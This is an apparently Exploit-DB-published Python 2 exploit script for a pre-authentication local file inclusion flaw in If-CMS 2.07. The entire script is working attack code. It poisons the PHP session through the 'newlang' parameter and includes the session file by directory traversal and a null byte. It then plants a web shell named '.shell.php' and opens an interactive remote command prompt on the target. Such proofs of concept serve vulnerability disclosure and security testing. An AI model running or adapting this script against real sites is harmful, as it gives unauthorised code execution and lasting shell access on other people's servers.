/exploits/php/webapps/16980.py

#!/usr/bin/python

# ~INFORMATION

# Exploit Title:	If-CMS 2.07 Pre-Auth Local File Inclusion 0day Exploit

# Author:		TecR0c

# Date:			13/3/2011

# Software link:	http://bit.ly/hh9ZB4

# Tested on:		Linux bt

# Version:		2.07

# PHP.ini Settings:	gpc_magic_quotes = Off



import random,time,sys,urllib,urllib2,re,httplib,socket,base64,os,getpass

from optparse import OptionParser

from urlparse import urlparse,urljoin

from urllib import urlopen

from cookielib import CookieJar



__CONTACT__ ="TecR0c(tecr0c@tecninja.net)"

__DATE__ ="13.3.2011" 



usage = 'Example : %s http://localhost/ncms/ -p 127.0.0.1:8080' % __file__

parser = OptionParser(usage=usage)

parser.add_option("-p","--proxy", type="string",action="store", dest="proxy",

        help="HTTP Proxy <server>:<port>")



(options, args) = parser.parse_args()



if options.proxy:

        print '[+] Using Proxy'+options.proxy



# User Agents

agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",

        "Internet Explorer 7 (Windows Vista); Mozilla/4.0 ",

        "Google Chrome 0.2.149.29 (Windows XP)",

        "Opera 9.25 (Windows Vista)",

        "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",

        "Opera/8.00 (Windows NT 5.1; U; en)"]

agent = random.choice(agents)



traversal = '../../../../../../../../../../../..'

sessionLocation = '/var/lib/php5/'



def banner():

    if os.name == "posix":

        os.system("clear")

    else:

        os.system("cls")

    header = '''

|----------------------------------------|

|Exploit: If-CMS 2.07 LFI RCE

|Author: %s

|Date: %s

|----------------------------------------|\n

'''%(__CONTACT__,__DATE__)

    for i in header:

        print "\b%s"%i,

        sys.stdout.flush()

        time.sleep(0.005)



def injectPayload():

	webSiteUrl = url.geturl()+'index.php?newlang=<?php;system(base64_decode($_REQUEST[cmd]));?>'

        try:

                opener.open(webSiteUrl)

        except:

                print '[-] Failed'



def proxyCheck():

        if options.proxy:

                try:

                        h2 = httplib.HTTPConnection(options.proxy)

                        h2.connect()

                        print "[+] Using Proxy Server:",options.proxy

                except(socket.timeout):

                        print "[-] Proxy Timed Out\n"

                        pass

                        sys.exit(1)

                except(NameError):

                        print "[-] Proxy Not Given\n"

                        pass

                        sys.exit(1)

                except:

                        print "[-] Proxy Failed\n"

                        pass

                        sys.exit(1)



def getProxy():

        try:

                proxy_handler = urllib2.ProxyHandler({'http': options.proxy})

        except(socket.timeout):

                print "\n[-] Proxy Timed Out"

                sys.exit(1)

        return proxy_handler



cj = CookieJar()

if options.proxy:

        opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))

else:

        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

opener.addheaders = [('User-agent', agent)]



def postRequestWebShell(encodedCommand):

        webSiteUrl = url.geturl()+'.shell.php'

        commandToExecute = [

        ('cmd',encodedCommand)]

        cmdData = urllib.urlencode(commandToExecute)

        try:

                response = opener.open(webSiteUrl, cmdData).read()

        except:

                print '[-] Failed'

                sys.exit()

        return response



def writeOutShell(encodedCommand):

	cookieString = str(cj)

	cookieSearch = re.compile(r"PHPSESSID=(.*) f")

	session_value = cookieSearch.search(cookieString)

	if session_value:

		session_value = session_value.group(1)

	cj.clear()

	webSiteUrl = url.geturl()+'index.php?cmd='+encodedCommand+'&newlang='+traversal+sessionLocation+'sess_'+session_value+'%00'

	try:

                opener.open(webSiteUrl)

        except:

                print '[-] Failed'

                sys.exit()



def commandLine():

        encodedCommand = "echo '<?php system(base64_decode($_REQUEST[cmd]));?>' > .shell.php"

        encodedCommand = base64.b64encode(encodedCommand)

        writeOutShell(encodedCommand)

        commandLine = ('[RSHELL] %s@%s# ') % (getpass.getuser(),url.netloc)

        while True:

                try:

                        command = raw_input(commandLine)

                        encodedCommand = base64.b64encode(command)

                        response = postRequestWebShell(encodedCommand)

                        print response

                except KeyboardInterrupt:

                        encodedCommand = base64.b64encode('rm .shell.php')

                        postRequestWebShell(encodedCommand)

                        print "\n[!] Removed .shell.php\n"

                        sys.exit()



if "__main__" == __name__:

        banner()

        try:

                url=urlparse(args[0])

        except:

                parser.print_help()

                sys.exit()

        getProxy()

        proxyCheck()

	injectPayload()

	commandLine()